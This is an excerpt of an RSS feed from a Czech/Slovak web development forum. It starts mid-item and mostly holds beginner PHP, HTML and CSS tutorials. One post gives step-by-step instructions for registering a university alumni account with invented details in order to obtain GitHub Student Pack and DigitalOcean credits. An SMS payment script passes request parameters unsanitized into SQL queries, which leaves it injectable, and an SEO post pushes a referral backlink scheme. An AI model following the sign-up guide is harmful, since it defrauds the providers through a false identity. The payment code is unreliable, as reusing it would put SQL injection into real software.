&lt;?= htmlspecialchars(urlencode($thing['name'])) ?&gt;

// Nový operátor
&lt;?* $thing['name']?&gt;
</pre>
<p>Není uplně potvrzené , že opravdu tento operátor přidají ale momentálně to tak vypadá. Uvidíme co bude dál</p>
]]></description><guid isPermaLink="false">54236</guid><pubDate>Mon, 20 Mar 2017 07:56:38 +0000</pubDate></item><item><title>PHP II. Cykly - dodatek</title><link>https://pawno.cz/index.php?/topic/54216-php-ii-cykly-dodatek/</link><description><![CDATA[
<p><strong>Obsah:</strong></p>
<ol>
<li>continue</li>	<li>break</li>
</ol>
<p><strong>1. Continue</strong></p>
<p> </p>
<p>Continue je "funkce" pro přeskočení aktuálního indexu respektive pro přeskočení celého cyklu pro aktualní "průchod" cyklem.</p>
<pre class="ipsCode prettyprint linenums:1">
$var = [ "Pes" =&gt; 1, "Kocka" =&gt; 2, "Krecek" =&gt;3 ];

foreach( $var as $zvire =&gt; $hodnota )
{
      if( $zvire == "Kocka" ) continue;
      echo $zvire." ma hodnotu ".$hodnota.",";
}

// Výstup bude : Pes ma hodnotu 1,Krecek ma hodnotu 3,
</pre>
<p>Hodí se to pro vyloučení hodnot a pro urychlení průchodu cyklem. Protože když máme nějaký složitý cyklus ( hodne podmínek které by se museli kontrolovat atd ) ,který obsahuje třeba 500 indexů které chceme a 500 které nechceme tak si uděláme hned na začátku podmínku na nějaký společný znak a hodíme ho do continue tudíž se tyto indexy rovnou přeskočí a nemusíme je zbytečně testovat.</p>
<p> </p>
<p><strong>2. break</strong></p>
<p>Oproti tomu break celý cyklus zastaví. </p>
<pre class="ipsCode prettyprint linenums:1">
$var = [ "Pes" =&gt; 1, "Kocka" =&gt; 2, "Krecek" =&gt;3 ];

foreach( $var as $zvire =&gt; $hodnota )
{
      if( $zvire == "Kocka" ) break;
      echo $zvire." ma hodnotu ".$hodnota.",";
}

// Výstup bude pouze : Pes ma hodnotu 1
</pre>
<p>Opět můžeme vymýšlet různé scénáře kdy je to potřeba. </p>
<p> </p>
<p>Tohle by bylo na téma cyklů zhruba tak vše. </p>
]]></description><guid isPermaLink="false">54216</guid><pubDate>Wed, 15 Mar 2017 17:50:47 +0000</pubDate></item><item><title>PHP I. Z&#xE1;klad</title><link>https://pawno.cz/index.php?/topic/54214-php-i-z%C3%A1klad/</link><description><![CDATA[
<p><span style="font-size:18px;"><u><strong>Obsah :</strong></u></span></p>
<ul>
<li>Open tagy</li>
<li>Proměnné</li>
<li>Operátory</li>
</ul>
<p><span style="font-size:18px;"><u><strong>Open tagy :</strong></u></span></p>
<p>V zásadě používáme dva typy tagů prvním je klasický</p>
<pre class="ipsCode prettyprint linenums:1">
&lt;?php ?&gt;
</pre>
<p>a </p>
<pre class="ipsCode prettyprint linenums:1">
&lt;?= ?&gt;
</pre>
<p>Jaký je mezi nimi rozdíl ? První typ ja základní a používá se pro veškeré php programování. Ten druhý je takový tweak pokud například chcete do html vypsat obsah proměnné či funkce.</p>
<pre class="ipsCode prettyprint linenums:1">
//"plné tagy"
&lt;?php echo $_SERVER["REMOTE_ADDR"];?&gt;
//"tweak" tagy
&lt;?=$_SERVER["REMOTE_ADDR"]?&gt;
</pre>
<p>Existuje ještě tzv. krátke open tagy ( short open tags ) které musí být povolené webovým serverem.</p>
<pre class="ipsCode prettyprint linenums:1">
&lt;? echo $_SERVER["REMOTE_ADDR"];?&gt;
</pre>
<p><u><span style="font-size:18px;"><strong>Proměnné :</strong></span></u></p>
<p>PHP umí pracovat se skoro všemi standardními datovými type ale není přísně typový jako třeba C#. To znamená že do jedné proměnné lze uložit jakýkoliv datový typ.</p>
<pre class="ipsCode prettyprint linenums:1">
$var = 1337;
$var = 13.37;
$var = "1337";
$var = true;
</pre>
<p>Nějaké základní typy jsou : integer,string,float,bool,array,object,null a resource</p>
<p> </p>
<p><span style="font-size:18px;"><u><strong>Operátory :</strong></u></span></p>
<ul>
<li>přidělovací</li>
<li>porovnávací</li>
<li>operátor kontroly chyb</li>
<li>aritmetické</li>
<li>tečkový operátor</li>
<li>spaceship</li>
</ul>
<p><strong>Přidělovací:</strong></p>
<p>Přidělovací operátor = ( rovnítko ). Přidělování hodnot proměným.</p>
<pre class="ipsCode prettyprint linenums:1">
$var = 1337;
</pre>
<p><strong>Porovnávací:</strong></p>
<p>Máme jich hned několik první skupině budeme říkat datové , druhé hodnotové a třetí šipkové. Nejsou to žádná oficiální pojmenování.</p>
<p> </p>
<p><u>Datové:</u></p>
<p>Dvojité rovnítko ( == ). Porovná zda li jsou hodnoty na obou stranách podobné. </p>
<pre class="ipsCode prettyprint linenums:1">
1 == 1      //true
1 == "1"    //true
1 == true   //true
</pre>
<p><u>Hodnotové:</u></p>
<p>Trojité rovnítko (===). Porovnává zda jsou hodnoty stejné </p>
<pre class="ipsCode prettyprint linenums:1">
1 === 1      //true
1 === "1"    //false
1 === true   //false
</pre>
<p><u>Šipkové:</u></p>
<p>Klasické operátory &gt; a = a </p>
<p> </p>
<p><strong>Operátor kontroly chyb:</strong></p>
<p>Operátor kontroly chyb (@) slouží k potlačení chybové hlášky.</p>
<pre class="ipsCode prettyprint linenums:1">
$var = $array[$index]; // dostaneme hlášku , že $index neexistuje

$var = @$array[$index];// ticho
</pre>
<p><strong>Aritmetické operátory:</strong></p>
<p>Klasické operátory které znáte z matematiky ( * , - , * , / , ++ , -- , += , -= , *= , /= ). První čtyři znáte a nebudu je rozebírat. Operátory inkrementace (++) a dekrementace (--)  které hodnotě přidají nebo uberou jedničku. </p>
<pre class="ipsCode prettyprint linenums:1">
$var = 0; //0
$var ++;  //1
$var --;  //0
</pre>
<p>Poslední čtyři operátory slouží k přidání hodnoty. Tzn operátor += přidá k proměnné na levé straně hodnotu z pravé</p>
<pre class="ipsCode prettyprint lang-">
$var += 25;
</pre>
<p>Ekvivalentem je delší zápis</p>
<pre class="ipsCode prettyprint linenums:1">
$var = $var + 25;
</pre>
<p><strong>Tečkový operátor:</strong></p>
<p>Slouží pro spojování řetězců.</p>
<pre class="ipsCode prettyprint linenums:1">
$number = 1337;
$var = "Dnešní číslo je ".$number;

$output = "| ".$var." |";
</pre>
<p><strong>Operátor spaceship:</strong></p>
<p>Tento operátor byl přidán ve verzi PHP 7. Upřímně netuším jestli má obdobu v jiném jazyce. Hodí se například v sortění polí. Základní funkcí je , že při stejných hodnotách na obou stranách vrací nulu při levé nižší než pravé -1 a při pravé nižší 1</p>
<pre class="ipsCode prettyprint linenums:1">
var_dump(1 &lt;=&gt; 1); // 0
var_dump(1 &lt;=&gt; 2); // -1
var_dump(2 &lt;=&gt; 1); // 1

var_dump(('a' &lt;=&gt; 'a')); // 0
var_dump(('a' &lt;=&gt; 'b')); // -1
var_dump(('b' &lt;=&gt; 'a')); // 1
</pre>
<p>Ohledně sortění pole pomocí funkce .. Před php7 jste museli zhruba takto</p>
<pre class="ipsCode prettyprint lang-">
$data = array(
    array('id' =&gt; 1, 'price' =&gt; 50),
    array('id' =&gt; 7, 'price' =&gt; 40),
    array('id' =&gt; 5, 'price' =&gt; 130),
);
uasort($data, function ($a, $<img src="https://pawno.cz/uploads/emoticons/default_cool.png" alt="B)" data-emoticon="1"> {
    return ($a['key'] &lt; $b['key']) ? -1 : (($a['key'] &gt; $b['key']) ? 1 : 0);
});
</pre>
<p>S příchodem php7 lze tento kód zkrátit následovně</p>
<pre class="ipsCode prettyprint linenums:1">
uasort($data, function ($a, $<img src="https://pawno.cz/uploads/emoticons/default_cool.png" alt="B)" data-emoticon="1"> {
    return $a['key'] &lt;=&gt; $b['key'];
});
</pre>
<p>Pokud nezapomenu tak bude následovat další díl. Pro tento je to momentálně všechno.</p>
]]></description><guid isPermaLink="false">54214</guid><pubDate>Tue, 14 Mar 2017 14:37:58 +0000</pubDate></item><item><title><![CDATA[HTML, GZIP & Minify]]></title><link>https://pawno.cz/index.php?/topic/53607-html-gzip-minify/</link><description><![CDATA[
<p style="text-align:center;"><span style="font-size:36px;">HTML - GZIP &amp; MINIFY</span></p>
<p style="text-align:center;"> </p>
<p style="text-align:center;"> </p>
<p><span style="font-size:14px;">​</span></p>
<p><span style="font-size:14px;">Zdravíčko. Už pár krát som sa pozastavil nad otázkou či sa oplatí minifikovať <strong>HTML </strong>súbor. Bolo mnoho argumentov že áno, mnoho že nie. Veľa ľudí čo hovorilo <strong>nie </strong>sa operiali hlavne o to že <strong>GZIP </strong>sa o okresanie zbytočnej veľkosti postará a tak minify v prípade HTML stráca zmysel. Tí čo hovorili že <strong>áno</strong>, pravdepodobne videli rozdiel vo veľkosti výsledných súborov a my sa na ne dneska pozrieme. Tento test bol spravený čisto zo <strong>zaujímavosti</strong>. </span></p>
<p> </p>
<p>1. Ako testovací súbor som použil index stránku <strong>pawno.cz</strong>. Stiahol som ju ako HTML súbor.</p>
<p>2. Následne som vytvoril <strong>minifkovanú </strong>verziu tohto HTML súboru</p>
<p>3. použil som <strong>GZIP </strong>na originálny súbor</p>
<p>4. použil som <strong>GZIP </strong>na minifikovaný súbor</p>
<p> </p>
<p>Výsledky: <span style="font-size:10px;"><strong>(B = Bajt, 1024B = 1kB)</strong></span></p>
<p> </p>
<p>- Originálny súbor: <strong>151 902B</strong></p>
<p>- Minifikovaný súbor: <strong>103 658B</strong></p>
<p>- Originálny + GZIP: <strong>20 302B</strong></p>
<p>- Minifikovaný + GZIP: <strong>17 891B</strong></p>
<p> </p>
<p>Konečný výsledok: HTML sa teda oplatí <strong>minifikovať </strong>a použiť <strong>GZIP</strong></p>
]]></description><guid isPermaLink="false">53607</guid><pubDate>Tue, 23 Aug 2016 19:44:38 +0000</pubDate></item><item><title>[Mini TUT] Vertik&#xE1;ln&#xED; a horizont&#xE1;ln&#xED; vycentrov&#xE1;n&#xED;</title><link>https://pawno.cz/index.php?/topic/43052-mini-tut-vertik%C3%A1ln%C3%AD-a-horizont%C3%A1ln%C3%AD-vycentrov%C3%A1n%C3%AD/</link><description><![CDATA[
<p><span style="text-decoration:underline;"><span style="font-size:36px;"><span style="color:#FF0000;">Vertikální a horizontální vycentrování</span></span></span></p>
<p> </p>
<p>Určitě jste někdy potřebovali umístit nějaký prvek přesně doprostřed stránky.</p>
<p>Tady máte mini TUT jak na to:</p>
<p> </p>
<p>Ná stránce máme například tento DIV:</p>
<p> </p>
<p></p>
<pre class="ipsCode">
&lt;div id="content"&gt;
&lt;/div&gt;
</pre>
<div></div>
<p></p>
<p> </p>
<p>Pokud ho tedy chceme umístit vertikálně i horizontálně doprostřed stránky , stačí použít tento krátký CSS kód:</p>
<p> </p>
<p></p>
<pre class="ipsCode">
#content {
position: absolute; /*Dovolí nám posunout prvek z původního místa*/
top: 50%; /*Posuneme prvek o 50% dolů od horní hrany*/
left: 50%; /*Posuneme prvek o 50% doprava od levé hrany*/
width: 100px; /*Šířka*/
height: 200px; /*Výška*/

/*Tady posuneme obrázek ještě o polovinu šířky doleva a o polovinu výšky nahoru*/
margin-top: -100px;
margin-left: -50px;

/*Teď je prvek přesně uprostřed stránky. Dále si můžete dopsat ještě další vlastnosti prvku*/

background-color:red;
}
</pre>
<div></div>
<p></p>
<p> </p>
<p> </p>
<p>Doufám že vám tento Mini TUT pomohl. Případné dotazy pište do tohoto topicu .</p>
]]></description><guid isPermaLink="false">43052</guid><pubDate>Sun, 21 Oct 2012 07:59:36 +0000</pubDate></item><item><title>Z&#xED;skej zdarma VPS, SSL, UnrealEngine a dal&#x161;&#xED; sladkosti</title><link>https://pawno.cz/index.php?/topic/50435-z%C3%ADskej-zdarma-vps-ssl-unrealengine-a-dal%C5%A1%C3%AD-sladkosti/</link><description><![CDATA[
<p>Mám zde návod jak získat hodně sladkostí zdarma. <strong>Cely seznam výhod, které získáte <a href="https://education.github.com/pack" rel="external nofollow">ZDE</a></strong></p>
<p> </p>
<p>1. Zaregistrujte si účet u <a href="http://goo.gl/cqPZmQ" rel="external nofollow">DigitalOcean.com</a> a získejte 10$ bonus, <span style="color:#ff0000;"><strong>po dokončení návodu dostanete 100$</strong></span></p>
<p> </p>
<p>2. Přejděte na <a href="http://alumni.nottingham.ac.uk/" rel="external nofollow">tuto stránku</a> v pravém sloupci pod nadpisem Register/Sign into Alumni Online zmáčkněte tlačítko Log out of Alumni Online, pod formulářem New user registration, vyplňte formulář vymyšlenými údaji (Preferred Email znamená váš existující email).</p>
<p> </p>
<p>3. Po úspěšné registraci přejděte na <a href="http://alumni.nottingham.ac.uk/netcommunity/page.aspx?pid=207" rel="external nofollow">tuto stránku</a> a dole nastavte "My e-mail forwarding service" ukázka zde: <a href="http://prntscr.com/4xp7k9" rel="external nofollow">http://prntscr.com/4xp7k9</a> , e-maily se budou přesměrovávat na váš pravý email</p>
<p> </p>
<p>4. Zaregistrujte si Github účet na e-mail, který jste si vytvořili v předešlém kroku (nickname@alumni.nottingham.ac.uk), pokud máte tak se přihlašte a v nastavení přidejte nový email (nickname@alumni.nottingham.ac.uk) - ten potvrďte.</p>
<p> </p>
<p>5. Dále přejděte na <a href="https://education.github.com/discount_requests/new" rel="external nofollow">tento odkaz</a> a vyplňte formulář nějak takto: <a href="http://prntscr.com/4xp8zr" rel="external nofollow">http://prntscr.com/4xp8zr</a> , <a href="http://prntscr.com/4xp94l" rel="external nofollow">http://prntscr.com/4xp94l</a></p>
<p> </p>
<p>6. Zkontrolujte váš e-mail, na který jste si přesměrovali poštu v 3. bodě</p>
<p> </p>
<p>7. <a href="https://education.github.com/pack/" rel="external nofollow">Zde</a> zmáčknete Get your pack, najděte si v seznamu featur DigitalOcean a vygenerujte voucher, který zadáte po přihlášení na digitalocean <a href="https://cloud.digitalocean.com/user_payment_profiles" rel="external nofollow">zde do políčka promo code</a></p>
<p> </p>
<p><strong>Celkem tedy získáte 110$ na Digitalocean a plno featur od Github.</strong></p>
<p> </p>
<p><em>Upozornění: DigitalOcean požaduje potvrzení účtu kreditní kartou, ze které vám ztrhnou malou částku, která bude vrácena. Můžete použít paypal, avšak minimální vnos je 5$, který se přičte ke kreditu na DigOcean.</em></p>
<p> </p>
<p><img src="https://pawno.cz/uploads/monthly_10_2014/post-1-0-60883800-1413737028.png" alt="post-1-0-60883800-1413737028.png"></p>
<p><a class="ipsAttachLink ipsAttachLink_image" href="https://pawno.cz/uploads/monthly_10_2014/post-1-0-60883800-1413737028.png" data-fileid="447" rel=""><img src="https://pawno.cz/uploads/monthly_10_2014/post-1-0-60883800-1413737028_thumb.png" data-fileid="447" class="ipsImage ipsImage_thumbnailed" alt="post-1-0-60883800-1413737028_thumb.png"></a></p>
]]></description><guid isPermaLink="false">50435</guid><pubDate>Sun, 19 Oct 2014 16:31:42 +0000</pubDate></item><item><title>PHP : Register, Login</title><link>https://pawno.cz/index.php?/topic/37103-php-register-login/</link><description><![CDATA[
<br><br>&lt;?php<br><br>session_start();<br><br>if($_SESSION['LoggedIn'] == 1)<br>{<br>	echo "ACCESS GRANTED!";<br>}<br>else<br>{<br>	echo "ACCESS DENIED!";<br>}<br>?&gt;<br><br>
]]></description><guid isPermaLink="false">37103</guid><pubDate>Sat, 19 Nov 2011 17:18:44 +0000</pubDate></item><item><title>SEO rada od lajka</title><link>https://pawno.cz/index.php?/topic/45967-seo-rada-od-lajka/</link><description><![CDATA[
<p>Zdravím,</p>
<p>máte webové stránky a snažíte se nějak nalákat návštěvníky ?</p>
<p>Myslím si že vám hned došlo že nejlepší bude se dostat na vyšší pozice ve vyhledávačích.</p>
<p>Díky tomu jste se dozvěděli o SEO a co musíte udělat aby jste se dostaly ve vyhledávačích výše, optimalizovanost klíčových slov, validace kódu, reklama na sociálních sítí je sice způsob jak se trochu posunou ale největší váhu mají zpětné odkazy, čím více a čím kvalitnější odkazy na váš web ukazují tím máte větší hodnocení (Ranky) a dostáváte se výše ve vyhledávačích.</p>
<p>Jak získat zpětné odkazy ? (Zvýšit svůj Rank)</p>
<p>Klasicky je výměna odkazů či si u nějaké webové prezentace zakoupit reklamu sice to funguje ale pokud jsou ty weby kde si děláte reklamu stejně nebo podobně staré a neoptimalizované jako vy (Myslím tím PageRank 0) tak potřebujete zhruba 111 takových zpětných odkazů, a to vám pouze navýší PageRank na 1 (Nezaručuji, je zde i mnoho okolních faktorů), tak jak si zadělat na reklamu ? </p>
<p>Nyní již jdu k jádru věci jedná se o jednoduchý a bohužel né moc známý projekt "Odkazujeme" jedná se o webovou stránku na kterou si zaregistrujete vaši doménu, na vaše stránky si umístíte patřičný kód, a tím poskytnete zpětný odkaz ostatním lidem, to samé když udělá někdo jiný tak získáte zpětný odkaz i vy, je to jednoduchý ale velice účinný systém jak si získat hromadu zpětných odkazů.</p>
<p>Samozřejmě to není tak snadné, pro to aby na vás někdo odkazoval ho nejdříve musíte "Naverbovat", ano myslím tím refferal avšak jde vlastně o propojení tudíž když pošlete vašemu společníkovy odkaz a on se pod ním registruje tak získáte zpětný odkaz a získá ho i on, a později když on zase "někoho naverbuje" řekněme 5 lidí tak vy již máte 6 zpětných odkazů, a nyní vám zde mám taková pěkná čísla:</p>
<p> </p>
<p>Sám získáte 5 webmasterů – máte 5 zpětných odkazů na Váš web na pozici 2</p>
<p> Každý z těchto 5 webmasterů získá také 5 webmasterů – máte 25 zpětných odkazů na Váš web na pozici 3</p>
<p> Každý z těchto 25 webmasterů získá také 5 webmasterů – máte 125 odkazů zpětných odkazů na Váš web na pozici 4</p>
<p> Každý z těchto 125 webmasterů získá 5 webmasterů – máte 625 odkazů na pozici 5</p>
<p> Každý z těchto 625 webmasterů získá 5 webmasterů – máte 3125 odkazů na pozici 6</p>
<p> Každý z těchto 3125 webmasterů získá 5 webmasterů – máte 15625 odkazů na pozici 7</p>
<p> Sečtením těchto čísel se dostaneme ke konečnému číslu 19 525 odkazů!</p>
<p>(Zdroj <a href="http://www.odkazujeme.cz" rel="external nofollow">http://www.odkazujeme.cz</a>)</p>
<p> </p>
<p>Samozřejmě je to ideální situace při které by každý přivedl pět lidí ale i kdyby ne a každý přivedl jen 2 tak pořád zde máme hromadu zpětných odkazů.</p>
<p>Budování zpětných odkazů je nejdůležitější ale taktéž nejnáročnější přeci jen uploadnout video na youtube či vytvořit stránku na facebooku může každý a okamžitě, ale vytvořit si kvalitní síť zpětných odkazů je těžké a hlavně časově náročné díky tomuto projektu to dokážete skoro hned <img src="https://pawno.cz/uploads/emoticons/default_icon_e_smile.gif" alt=":)" data-emoticon="" srcset="https://pawno.cz/uploads/emoticons/smile@2x.png 2x" width="20" height="24"></p>
<p>Můžete si zde vytvořit zdarma zápis v katalogu což také není k zahození <img src="https://pawno.cz/uploads/emoticons/default_icon_e_smile.gif" alt=":)" data-emoticon="" srcset="https://pawno.cz/uploads/emoticons/smile@2x.png 2x" width="20" height="24"></p>
<p>Pokud vám tento projekt zajímá tak neváhejte: <a href="http://www.odkazujeme.cz" rel="external nofollow">http://www.odkazujeme.cz</a></p>
<p>Pokud nechcete začínat od 0 a mít hned zpětný odkaz tak můžete využít tento "ref" link: <a href="http://www.odkazujeme.cz/index.php?myfriend=2760" rel="external nofollow">http://www.odkazujeme.cz/index.php?myfriend=2760</a> (Myslím si že není potřeba zmiňovat že je to registrace pode mně <img src="https://pawno.cz/uploads/emoticons/default_icon_e_smile.gif" alt=":)" data-emoticon="" srcset="https://pawno.cz/uploads/emoticons/smile@2x.png 2x" width="20" height="24"> )</p>
<p> </p>
<p>Přeji vám příjemný zbytek dne.</p>
<p> </p>
<p> </p>
<p><span style="font-size:8px;"><em>PS: Né že vás napadne podvádět přes "nofollow". (Web to pozná </em></span><img src="https://pawno.cz/uploads/emoticons/default_icon_e_smile.gif" alt=":)" data-emoticon="" srcset="https://pawno.cz/uploads/emoticons/smile@2x.png 2x" width="20" height="24"><span style="font-size:8px;"><em> )</em></span></p>
]]></description><guid isPermaLink="false">45967</guid><pubDate>Sat, 25 May 2013 17:23:40 +0000</pubDate></item><item><title>Random Background Image</title><link>https://pawno.cz/index.php?/topic/45933-random-background-image/</link><description><![CDATA[
<p>Zdravím,</p>
<p> </p>
<p>mám tu pro vás takový lehčí návod na úplně primitivní script.</p>
<p> </p>
<p>Co budeme potřebovat:</p>
<p> </p>
<p>1) Pár obrázků na pozadí webu</p>
<p>2) 5 min času</p>
<p>3) web</p>
<p> </p>
<p>Ok takže začneme.</p>
<p> </p>
<p><strong>Jako první si vytvoříme soubor.php</strong></p>
<p> </p>
<p><strong>Dále jej otevřeme, a napíšeme toto:</strong></p>
<p> </p>
<p></p>
<pre class="ipsCode">
&lt;?php

?&gt;</pre>
<div></div>
<p></p>
<p> </p>
<p>Tak to by byl základ našeho scriptu.</p>
<p> </p>
<p>Takže nyní budeme potřebovat "<strong>rand</strong>" a promněnou do které to zapíšeme.</p>
<p> </p>
<p></p>
<pre class="ipsCode">
&lt;?php
$bg = rand(0,5);
?&gt;</pre>
<div></div>
<p></p>
<p> </p>
<p><span style="text-decoration:underline;">$bg </span>= naše promněná</p>
<p><span style="text-decoration:underline;">rand</span>= funkce, která nám náhodně vybere 1 "volbu"</p>
<p><span style="text-decoration:underline;">(0,5)</span> = rozmezí randomu tudíž 0 - 5</p>
<p> </p>
<p>Tak, dále použijeme funkci "<strong>switch</strong>".</p>
<p></p>
<pre class="ipsCode">
&lt;?php
$bg = rand(0,5);
switch($bg)
?&gt;</pre>
<div></div>
<p></p>
<p> </p>
<p><span style="text-decoration:underline;">switch</span> = zvolí "volbu", kterou zapsal random do promněné</p>
<p> </p>
<p>Ták a teď stačí, aby bylo z čeho vybírat.</p>
<p> </p>
<p> </p>
<p></p>
<pre class="ipsCode">&lt;?php
$bg = rand(0,5);
switch($bg){
 case 0:				
 $img= "1.png";
 break;
 case 1:
 $img= "2.png";
 break;
 case 2:
 $img= "3.png";
 break;
 case 3:
 $img= "4.png";
 break;
 case 4:
 $img= "5.png";
 break;
 case 5:
 $img= "6.png";
 break;
 default:
 $img= "1.png";
 break;
}
?&gt;</pre>
<div></div>
<p></p>
<p> </p>
<p> </p>
<p><span style="text-decoration:underline;">case </span>= "volba"</p>
<p><span style="text-decoration:underline;">break </span>= zastaví case</p>
<p><span style="text-decoration:underline;">default</span> = defaultně tato "volba"<span style="color:#FFFFFF;">&gt;</span></p>
<p> </p>
<p>Ok a teď stačí kód, kterým zobrazíme naší "volbu" (obrázek).</p>
<p> </p>
<p>Jsou 2 možnosti jak to zapsat.</p>
<p> </p>
<p>1) </p>
<pre class="ipsCode">&lt;?php echo "&lt;body background='$img'&gt;"; ?&gt;</pre>
<div></div>
<p></p>
<p>2) </p>
<pre class="ipsCode">&lt;body background='&lt;?php echo $img; ?&gt;'&gt;</pre>
<div></div>
<p></p>
<p> </p>
<p>Není to nic těžkého, ale je pěkné, když na stránce nevidíte pouze jedno pozadí <img src="https://pawno.cz/uploads/emoticons/default_icon_e_smile.gif" alt=":)" data-emoticon="" srcset="https://pawno.cz/uploads/emoticons/smile@2x.png 2x" width="20" height="24"></p>
<p> </p>
<p>--&gt; </p>
<div class="ipsSpoiler" data-ipsspoiler="">
<div class="ipsSpoiler_header"><span></span></div>
<div class="ipsSpoiler_contents"><p>Jsem amatér, tak moc nekritizujte <img src="https://pawno.cz/uploads/emoticons/default_icon_e_biggrin.gif" alt=":d" data-emoticon=""></p></div>
</div>
<p> </p>
<p> </p>
<p>Děkuji za pozornost, Domm.</p>
]]></description><guid isPermaLink="false">45933</guid><pubDate>Wed, 22 May 2013 08:16:49 +0000</pubDate></item><item><title>SMS zapis do DB</title><link>https://pawno.cz/index.php?/topic/41481-sms-zapis-do-db/</link><description><![CDATA[
<p>Zdravím,</p>
<p> </p>
<p>Jelikož hodně lidí se mě ptá jak jsem na <a href="http://www.mobilniplatby.cz" rel="external nofollow">http://www.mobilniplatby.cz</a> (nebrat jako reklamu) udělal, že když dojde sms zapíše se mi do DB.</p>
<p> </p>
<p>tady je script vč. vysvětlivek formou komentářů.</p>
<p> </p>
<p></p>
<pre class="ipsCode">
&lt;?php
//připojení k DB
$server = "IP"; // jméno serveru
$login = "JMENO"; // přihlašovací jméno
$heslo = "IP"; // heslo
$databaze = "DB"; // název databáze kde máte sql soubor (je níže)
$tabulka = 'ucty';

MySQL_Connect($server, $login, $heslo) or die("Nepodařilo se připojit k databázi"); // připojení k databázi
MySQL_Select_DB($databaze) or die("Nepodařilo se otevřít databázi"); // výběr databáze

$id = $_GET['text']; //Definování textu ze sms třetí slovo
//váš tvar sms je většinou PM NECO
a to co je dané za NECO třeba číslo 10000 je ta $id = $_GET['text']

$smss = mysql_query("SELECT * FROM $tabulka WHERE id='{$id}'"); //Vyber z tabulky podle ID zadaného v sms

while($sms = mysql_fetch_array($smss)){
//Switch funkce když nekdo posle sms v urcite hodnote

switch ($_GET['price']) {
   case 10.00: // sms ceny 10 CZK ( 903 33 10 )
$cena = '0.10'; // pocet kreditu kolik dostanete
$kcena = $sms['kredit'] + $cena; //pricteni kreditu
       break; //Ukončení case 10.00: (tak je to u všch)
   case 20.00:
$cena = '0.20';
$kcena = $sms['kredit'] + $cena;
       break;
   case 30.00:
$cena = '0.30';
$kcena = $sms['kredit'] + $cena;
       break;
   case 50.00:
$cena = '0.50';
$kcena = $sms['kredit'] + $cena;
       break;
   case 79.00:
$cena = '0.80';
$kcena = $sms['kredit'] + $cena;
       break;
   case 99.00:
$cena = '1.2';
$kcena = $sms['kredit'] + $cena;
       break;
}
}
if($_GET['hash'] == 'emulator') die('EMULATOR NENI POVOLEN'); //Zablokování spamování sms přes testovací emulátor

else{
//pokud je sms poslaná z mobilu a ne z emulátoru (co ma mobilniplatby.cz) na webu
//tak se ptovede tohle

$query = mysql_query("UPDATE $tabulka SET kredit = '{$kcena}' WHERE id='{$id}'")or die(mysql_error().' na radku update'); //Zapsání kreditu uživateli

echo "Kredit na ID {$id} zvysen na {$kcena}"; //Odpověd poocí SMS
}
?&gt;
</pre>
<div></div>
<p></p>
<p> </p>
<p>SQL</p>
<p></p>
<pre class="ipsCode">
CREATE TABLE `ucty` (
 `id` int(11) NOT NULL AUTO_INCREMENT,
 `jmeno` varchar(255) DEFAULT NULL,
 `kredit` varchar(11) DEFAULT NULL,
 PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
INSERT INTO `ucty` VALUES ('1', 'Test', '10.2');
</pre>
<div></div>
<p></p>
]]></description><guid isPermaLink="false">41481</guid><pubDate>Sun, 08 Jul 2012 14:24:13 +0000</pubDate></item><item><title>Vyps&#xE1;n&#xED; Textu Pomoc&#xED; Css</title><link>https://pawno.cz/index.php?/topic/43865-vyps%C3%A1n%C3%AD-textu-pomoc%C3%AD-css/</link><description><![CDATA[
<p>Ahoj.</p>
<p> </p>
<p>Málo kdo ví o tom, že lze přidat do webové stránky obsah i pomocí CSS.</p>
<p>Toho se dá využít třeba při tvorbě redakčních systémů, nebo webových šablon. Uživatel si pak může změnit text přímo v souboru se vzhledem a nemusí se vůbec vyznat v kódu.</p>
<p> </p>
<p>Příklad:</p>
<p> </p>
<p></p>
<pre class="ipsCode">
&lt;html&gt;
&lt;head&gt;
&lt;style&gt;
#testdiv{background-color:red;}	 /*Nastylování DIVu testdiv (není nutné)*/
#testdiv:after{content: "copyright 2006";} /*Vypsáni textu do DIVu testdiv*/
&lt;/style&gt;
&lt;/head&gt;

&lt;body&gt;
&lt;div id="testdiv"&gt;&lt;/div&gt;						 &lt;!-- DIV do kterého budeme vypisovat text --&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<div></div>
<p></p>
<p> </p>
<p>Není to nic složitého, ale třeba se to někomu bude hodit,a nebo alespoň už víte že něco takového existuje</p>
]]></description><guid isPermaLink="false">43865</guid><pubDate>Tue, 18 Dec 2012 16:40:52 +0000</pubDate></item><item><title>[Php][Tut]Samp Server Status</title><link>https://pawno.cz/index.php?/topic/43201-phptutsamp-server-status/</link><description><![CDATA[
<p><strong>Napíšem Vám tu návod na SA:MP Server Status.</strong></p>
<p> </p>
<p><strong>Nepodporované webhostingy:</strong></p>
<ul><li>Endora<br>
</li></ul>
<p></p>
<p> </p>
<div class="ipsSpoiler" data-ipsspoiler="">
<div class="ipsSpoiler_header"><span></span></div>
<div class="ipsSpoiler_contents">
<p> </p>
<p></p>
<pre class="ipsCode">
&lt;?php
$ip = isset($_GET['ip']) ? $_GET['ip'] : 'IP SERVERU';
$port = isset($_GET['port']) ? $_GET['port'] : '7777';

$fp = fsockopen('udp://' . $ip, $port, $errno, $errstr);
if (!$fp)
{
echo "&lt;b&gt;Pripojenie zlyhalo ({$errno} - {$errstr})";
}
else
{
//Funguje
$packet = 'SAMP';
$packet .= chr(strtok($ip, '.'));
$packet .= chr(strtok('.'));
$packet .= chr(strtok('.'));
$packet .= chr(strtok('.'));
$packet .= chr($port &amp; 0xFF);
$packet .= chr($port &gt;&gt; 8 &amp; 0xFF);

fwrite($fp, $packet.'i');
fread($fp, 11);
$is_passworded = ord(fread($fp, 1));
$plr_count = ord(fread($fp, 2));
$max_plrs = ord(fread($fp, 2));
$strlen	= ord(fread($fp, 4));
$hostname = fread($fp, $strlen);
$strlen	= ord(fread($fp, 4));
$gamemode = fread($fp, $strlen);
$strlen	= ord(fread($fp, 4));
$mapname	= fread($fp, $strlen);
/*
$is_passworded = Zaheslovane
$plr_count = pocet hracov
$max_plrs = slotov
$hostname = Meno serveru
$gamemode = Mod serveru
$mapname = Mapa serveru
*/

fwrite($fp, $packet.'c');
fread($fp, 11);
$plr_count = ord(fread($fp, 2));
if ($plr_count &gt; 0)
{

for ($i=0; $i&lt;$plr_count; $i++)
{
$strlen = ord(fread($fp, 1));
$plrname = fread($fp, $strlen);
$score = ord(fread($fp, 4));
/*
	 $i = Poradie
	 $plrname = Meno hraca
	 $score = Skore hraca
	*/

}
}
fclose($fp);
}
?&gt;
</pre>
<div></div>
<p></p>
